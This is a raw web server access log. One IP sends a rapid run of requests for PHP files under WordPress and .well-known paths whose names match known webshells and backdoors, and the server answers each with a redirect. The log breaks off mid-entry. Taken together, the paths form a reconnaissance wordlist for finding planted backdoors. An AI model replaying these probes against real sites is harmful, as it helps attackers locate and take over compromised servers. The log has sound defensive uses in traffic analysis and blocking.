"-" 52.167.132.240 - - [20/Apr/2025:06:04:31 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:32 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:32 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:33 -0400] "GET /wp-admin/network/file.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:34 -0400] "GET /wp-content/sxo.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:34 -0400] "GET /wp-includes/images/crystal/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:34 -0400] "GET /elp.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:35 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:36 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:36 -0400] "GET /wp-content/wp-apxupx.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:37 -0400] "GET /wp-includes/Requests/about.php7 HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:38 -0400] "GET /wp-content/uploads/id.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:38 -0400] "GET /.well-known/pki-validation/sxo.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:38 -0400] "GET /templates/atomic/templates.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:39 -0400] "GET /vendor/guzzlehttp/alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:39 -0400] "GET /wp-admin/images/wp-ksv1i.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:41 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:41 -0400] "GET /wp-includes/css/page.template.1735117956.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:42 -0400] "GET /sck.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:42 -0400] "GET /css/kraoqapd.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:43 -0400] "GET /sbijnocj.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:45 -0400] "GET /wp-content/plugins/wp-help/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:45 -0400] "GET /wp-content/themes/digital-download/new.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:46 -0400] "GET /wp-content/uploads/wpr-addons/forms/about.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:47 -0400] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:48 -0400] "GET /.qiodetme.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:49 -0400] "GET /wp-admin/js/a2.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:51 -0400] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:52 -0400] "GET /.well-known/as.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:54 -0400] "GET /wp-content/plugins/WordPressCore/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:56 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:04:58 -0400] "GET /wp-admin/css/daren.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:00 -0400] "GET /wp-admin/images/moon.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:00 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/Ge/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:01 -0400] "GET /wp-admin/includes/zipp.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:02 -0400] "GET /wp-content/uploads/showupload.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:03 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:04 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:06 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:11 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/ovakvbycd.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:11 -0400] "GET /wp-admin/includes/class_api.php999 HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:12 -0400] "GET /wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:14 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:15 -0400] "GET /1rbxb768.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:18 -0400] "GET /he.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:19 -0400] "GET /wp-content/mu-plugins/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:21 -0400] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:24 -0400] "GET /wp-includes/sodium_compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:25 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:26 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:27 -0400] "GET /wp-admin/js/widgets/jLFgZjjsqs.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:27 -0400] "GET /wp-content/themes/file.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:28 -0400] "GET /wp-content/themes/seotheme/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:30 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:32 -0400] "GET /wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:36 -0400] "GET /wp-includes/carson.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:38 -0400] "GET /wp-includes/yes.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:39 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:39 -0400] "GET /wp-content/termps.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:41 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:41 -0400] "GET /epdwm.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:42 -0400] "GET /wp-content/plugins/woocommerce/assets/about.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:43 -0400] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:44 -0400] "GET /wp-includes/Text/Diff/Renderer/eqw5de.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:45 -0400] "GET /wp-includes/css/kses.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:46 -0400] "GET /.well-known/acme-challenge/tiny.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:46 -0400] "GET /assets/images/206d2bdfbd.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:47 -0400] "GET /cvawk.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:48 -0400] "GET /df.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:48 -0400] "GET /wp-admin/js/widgets/text-widgets.min.js.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:49 -0400] "GET /wp-includes/1671b870622bf3admin.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:50 -0400] "GET /wp-includes/theme-compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:51 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:51 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:52 -0400] "GET /wp-admin/js/widgets/file.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:52 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:53 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:54 -0400] "GET /wp-apxupx.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:55 -0400] "GET /wp-content/uploads/BbUMY/flower.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:56 -0400] "GET /wp-includes/Requests/library/about.php7 HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:56 -0400] "GET /.well-known/siuqzorv.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:57 -0400] "GET /wp-admin/css/colors/coffee/css.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:57 -0400] "GET /wp-content/languages/ru_RU_lite.mo.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:58 -0400] "GET /.well-known/pki-validation/ahzjhofz.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:59 -0400] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:05:59 -0400] "GET /wp-includes/rest-api/fields/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:00 -0400] "GET /wp-admin/js/widgets/sxo.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:00 -0400] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:01 -0400] "GET /wp-admin/includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:02 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:04 -0400] "GET /components/attari.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:05 -0400] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:06 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:06 -0400] "GET /special.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:07 -0400] "GET /wp-admin/includes/legendneverdie.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:07 -0400] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:09 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:09 -0400] "GET /wp-includes/css/dist/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:10 -0400] "GET /cong.php935 HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:11 -0400] "GET /webdb.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:12 -0400] "GET /wp-content/plugins/portfolio-post-type/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:14 -0400] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:14 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:16 -0400] "GET /wp-content/languages/file.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:17 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:18 -0400] "GET /wp-includes/images/wthvideo.min.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:19 -0400] "GET /heh.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:20 -0400] "GET /htaccess.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:21 -0400] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:22 -0400] "GET /csxcvtg6v?key=51851b87a35f6a6288e1eef649afb2dccss.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:22 -0400] "GET /wp-admin/css/colors/sunrise/HmfdSRigQv.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:24 -0400] "GET /.tmb/plugins.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:25 -0400] "GET /css/plugins.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:26 -0400] "GET /bovaxayy.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:26 -0400] "GET /wp-admin/css/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:27 -0400] "GET /wp-includes/ovackgowa.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:28 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:29 -0400] "GET /shirtkobain/mail.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:31 -0400] "GET /wp-includes/class-json-ajax-session.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:32 -0400] "GET /wp-includes/wp-class-entry-shield.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:34 -0400] "GET /.well-known/tiny.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:35 -0400] "GET /wp-admin/css/upgrade.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:36 -0400] "GET /.well-known/zaza.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:37 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:37 -0400] "GET /bar.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:38 -0400] "GET /head.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:39 -0400] "GET /wp-content/plugins/wxzanln/ovarxggtq.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:41 -0400] "GET /.well-known/acme-challenge/index_php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:44 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:46 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:47 -0400] "GET /ulc6.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:48 -0400] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:50 -0400] "GET /asasx.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:52 -0400] "GET /wp-content/upgrade/8eNAbZK4gI.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:54 -0400] "GET /.well-known/pki-validation/class_api.php999 HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:56 -0400] "GET /autoloadclassmap.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:57 -0400] "GET /tjspfvjh.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:59 -0400] "GET /wp-content/plugins/erinyani/baxa1.php7 HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:06:59 -0400] "GET /wp-content/themes/cay-van-phong/skibidi.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:01 -0400] "GET /.well-known/crlunpft.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:02 -0400] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:02 -0400] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:03 -0400] "GET /wp-content/languages/sxo.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:04 -0400] "GET /wp-content/uploads/6CCPahUZVr.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:06 -0400] "GET /.well-known/pki-validation/akrcovxu.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:07 -0400] "GET /.well-known/xoxo.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:09 -0400] "GET /admin/sxo.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:11 -0400] "GET /wp-admin/images/media-button-other.gif.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:13 -0400] "GET /wp-includes/random_compat/niko.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:14 -0400] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:14 -0400] "GET /assets/js/about.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:16 -0400] "GET /bakvxppf.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:17 -0400] "GET /wp-admin/maint/k.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:18 -0400] "GET /wp-content/languages/themes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:19 -0400] "GET /duck.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:20 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:21 -0400] "GET /wp-admin/maint/item.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:22 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:23 -0400] "GET /wander.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:24 -0400] "GET /wp-content/plugins/xolanpf/ovamsmcsg.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:25 -0400] "GET /wp-content/themes/Divi-2/core/ovaawqfhg.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:26 -0400] "GET /wp-includes/media-blogs.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:28 -0400] "GET /wp-content/upgrade/newch.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:30 -0400] "GET /wp-includes/Text/Diff/Renderer/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:33 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:35 -0400] "GET /wp-admin/images/plugins.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:37 -0400] "GET /0yhs1bgh.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:38 -0400] "GET /css/text.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:40 -0400] "GET /hvemizso.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:42 -0400] "GET /wp-content/uploads/2023/10/themes.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:45 -0400] "GET /wp-includes/uttiwenl.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:47 -0400] "GET /.well-known/acme-challenge/edii7rIWJF.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:49 -0400] "GET /.well-known/acme-challenge/indec.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:51 -0400] "GET /.well-known/acme-challenge/upfile.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:53 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:54 -0400] "GET /wp-content/plugins/dxoksvn/ovandccqr.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:56 -0400] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:58 -0400] "GET /.well-known/acme-challenge/lo.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:07:59 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:00 -0400] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:01 -0400] "GET /wp-content/moderation.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:02 -0400] "GET /.well-known/acme-challenge/fai.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:05 -0400] "GET /wp-admin/maint/plugins.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:07 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:09 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:10 -0400] "GET /files/file_uploader.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:11 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:11 -0400] "GET /wp-content/plugins/ecphbbr/ovadncdwv.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:12 -0400] "GET /wordpress/wp-content/themes/as/radio.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:13 -0400] "GET /cdxadmin.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:14 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:14 -0400] "GET /wp-admin/css/colors/ectoplasm/JWWwEMipZk.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:15 -0400] "GET /cgi-bin/plugins.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:16 -0400] "GET /rrwrzgsf.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:17 -0400] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:18 -0400] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:18 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:20 -0400] "GET /wp-content/themes/404.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:20 -0400] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:21 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:22 -0400] "GET /wp-includes/SimplePie/Cache/checkbex.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:23 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:23 -0400] "GET /images.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:24 -0400] "GET /wp-content/themes/wp-pridmag/lock.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:24 -0400] "GET /wordpress/wp-includes/blocks/list-item/ovabliphi.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:25 -0400] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:25 -0400] "GET /.well-known/pyfskulr.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:26 -0400] "GET /upload/wp-info.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:26 -0400] "GET /wp-includes/Requests/Cookie/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:27 -0400] "GET /wp-includes/css/category-template-1735882605.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:28 -0400] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:29 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:29 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:30 -0400] "GET /wp-includes/Text/Diff/Renderer/ltiies.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:31 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:32 -0400] "GET /assets/index1.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:32 -0400] "GET /wp-content/plugins/elementor/includes/ovamstwqf.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:33 -0400] "GET /wp/index.php HTTP/1.1" 301 795 "-" "-" 52.167.132.240 - - [20/Apr/2025:06:08:34 -0400] "GET 